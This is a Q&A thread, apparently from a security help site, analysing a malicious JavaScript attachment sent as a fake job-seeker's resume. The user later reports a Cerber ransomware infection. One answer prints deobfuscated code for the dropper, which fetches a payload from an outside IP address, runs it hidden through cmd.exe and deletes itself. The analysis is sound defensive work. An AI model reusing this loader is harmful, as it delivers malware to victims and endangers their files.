8

So I got a random email saying this. Looks very automated:

"How are things? I was visting your website on 4/9/2016 and I'm very interested. I'm currently looking for work either full time or as a intern to get experience in the field. Please review my Resume and let me know what you think.

Then a javascript file attached. I scanned it on VirusTotal finding only 1/55. I have opened the file to look at the text and have copy pasted it into this dump file as it is quite long.

Anyone familiar with javascript can confirm that it is a virus or not?

3
  • Why is it blocking you from viewing it? Maybe this works: pastebin.com/tcW2MDtn Also, if it isn't a virus. What is the purpose of sending this? Apr 10, 2016 at 6:38
  • Line 331 is "var asupcI = new ActiveXObject(yLoJo);". This means it calls ActiveX. Because of this, I would say this malicious, without a doubt. Unless of course, ActiveXObject itself is obfuscated to do something else. But it certainly seems suspicious. reverseengineering.stackexchange.com/questions/4561/… may help more, as well.
    – forest
    Apr 10, 2016 at 6:49
  • I only use chrome, I don't even know when the last time was that I used IE so thats a good thing. I appreciate your help in reassuring me. I'd like to reward you the answer to the topic but you only commented. Feel free to post an answer and I'll pick it. Thanks! Apr 10, 2016 at 7:10

2 Answers 2

10

It most certainly is malware. It uses JavaScript with ActiveX* and VBScript to download and execute a stage two payload that does something else. Although it is written in JavaScript, it is not executed in the browser. Instead, it is executed in the Windows Script Host when it is double-clicked. This is the deobfuscated and abridged version of the function zQlMdib from the file:

// download and execute stage 2 payload
function stage1_payload() {
    // connect to server hosting stage 2 payload and download into memory
    var http_obj = new ActiveXObject("MSXML2.XMLHTTP");
    http_obj['open']("GET", "http://94.102.63.7/macbook_tutorial.mov", false);
    http_obj['send']();

    // evaluates true only if http connection succeeded
    if (http_obj['Status'] == 200) {
        // open activex objects for filesystem and file access
        var fs_obj = new ActiveXObject("Scripting.FileSystemObject");
        var file_obj = new ActiveXObject("ADODB.Stream");

        // create and open temporary file (as binary) in system temporary folder
        var temp_file = fs_obj['GetSpecialFolder'](2) + '\' + fs_obj['GetTempName']();
        file_obj['Open']();
        file_obj['Type'] = 1;

        // save response body containing stage 2 payload to temporary file
        file_obj['Write'](http_obj['ResponseBody']);
        file_obj['Position'] = 0;
        file_obj['SaveToFile'](temp_file);
        file_obj['Close']();

        // execute temporary file using command prompt
        var shell_obj = new ActiveXObject("WScript.Shell");
        shell_obj['run']('cmd.exe /c ' + temp_file, 0);
    }

    // delete currently-executing script (the js file you received)
    var script_name = WScript['ScriptFullName'];
    fs_obj['deleteFile'](script_name);
}

* Even if your browser doesn't support ActiveX, this file executes in the Windows Script Host, which does support it.

9
  • I figured out that I got infected with the Cerber virus. Here is a link explaining what it is: virusresearch.org/remove-cerber-decrypt-files-ransomware Apr 10, 2016 at 7:20
  • I got three files "#DECRYPT MY FILES#.txt, #DECRYPT MY FILES#.html and #DECRYPT MY FILES#.vbs." in every folder of my computer. Apr 10, 2016 at 7:21
  • Honestly, I think that infection is unrelated. Not only does your browser not support ActiveX, which is required for that exploit to work, but the payload itself has nothing to do with the Cerber virus.
    – forest
    Apr 10, 2016 at 7:55
  • the infection is 100% related IMO. The cerber virus is typically sent from spam messages, especially from russian forums. The email had a .ru extension. This happened immediately after the openning of the javascript. Additionally cerber virus is inserted using Internet Explorer. I'm 100% certain that it is related. I'll just make a clean new install of windows as everything is encrypted. Apr 10, 2016 at 9:16
  • 3
    @forest he could've downloaded the .js file and accidentally double-clicked it which would open it in Windows Script Host, which is not sandboxed and has ActiveX. Apr 10, 2016 at 15:31
1

Yes, It looks like a malicious code. This type of code is not allowed in the context of browsers. Moreover, the code is more or less, compatible with Microsoft Internet Explorer and Microsoft Windows Operating System, as other browsers doesn't support ActiveX technology of Microsoft.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .